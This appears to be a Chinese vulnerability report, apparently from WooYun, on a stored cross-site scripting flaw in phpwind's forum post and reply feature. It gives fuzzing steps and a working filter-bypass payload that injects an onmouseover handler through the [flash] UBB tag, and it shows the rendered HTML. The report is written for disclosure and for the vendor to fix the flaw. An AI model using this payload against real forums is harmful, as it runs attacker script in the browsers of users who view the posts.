### 简要描述:
没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试……
### 详细说明:
代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便乌云重现和官方修复:
注册账号,在任意板块进行发帖(切换到代码模式方便测试)
测试输入1:
```
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]
```
测试输出1:
```
<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf"> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object>
```
确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。
测试输入2:
```
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]
```
测试输出2:
```
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]
```
发现URL中出现双引号时UBB CODE不会被转换成HTML CODE.但经过小的fuzzing后,发现当
```
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]
```
之前出现UBB代码
```
[attachment=8]
```
时(点上传附件按钮,上传任何一种允许的文件类型。上传成功成功后点击插入即可),情况就会有所转变。在这种情况下我们在[flash][/flash]中插入的双引号可以帮助我们跳出value=""和data=""。当然还有一些其它蛋疼的限制……
测试输入3:
```
[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]
```
测试输出3:
```
[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]
```
当恶意脚本包含"()"时UBBCODE又一次没有被转换成HTML代码。蛋蛋的忧伤……
经过一系列fuzz之后,发现:
```
1.一旦出现(或)UBB CODE就不会被转换成HTML CODE
2.所有的单引号,双引号,尖括号后面都会被加上%3b
3.&会被替换成HTMLEntity也就是&
```
这样一来开新标签是不可能了,使用编码也是不可能了,所以机智的我……还是搞定了。
最终测试输入:
[attachment=999][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=location=/javascript:alert%28%29/.source qq[/flash]
最终测试输出:
```
<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="" id="jp_audio_container_0" style="" height="1080" width="1920"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"=""> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object>
```
就这样搞定了……因为flash的高宽值都可控,所以基本上小移动一下鼠标就中招了。
### 漏洞证明:
攻击者植入恶意代码,并发帖(也可以是回复 一样的嘛):
[<img src="https://images.seebug.org/upload/201406/0502232240c9579c8e34ba75945a5922d994ed8a.png" alt="2133.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0502232240c9579c8e34ba75945a5922d994ed8a.png)
受害者打开被植入恶意代码的帖子时会遭受跨站脚本攻击:
[<img src="https://images.seebug.org/upload/201406/05022425c7c80c0f1ca03625ce5135bdfa8d0f93.png" alt="2134.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/05022425c7c80c0f1ca03625ce5135bdfa8d0f93.png)
暂无评论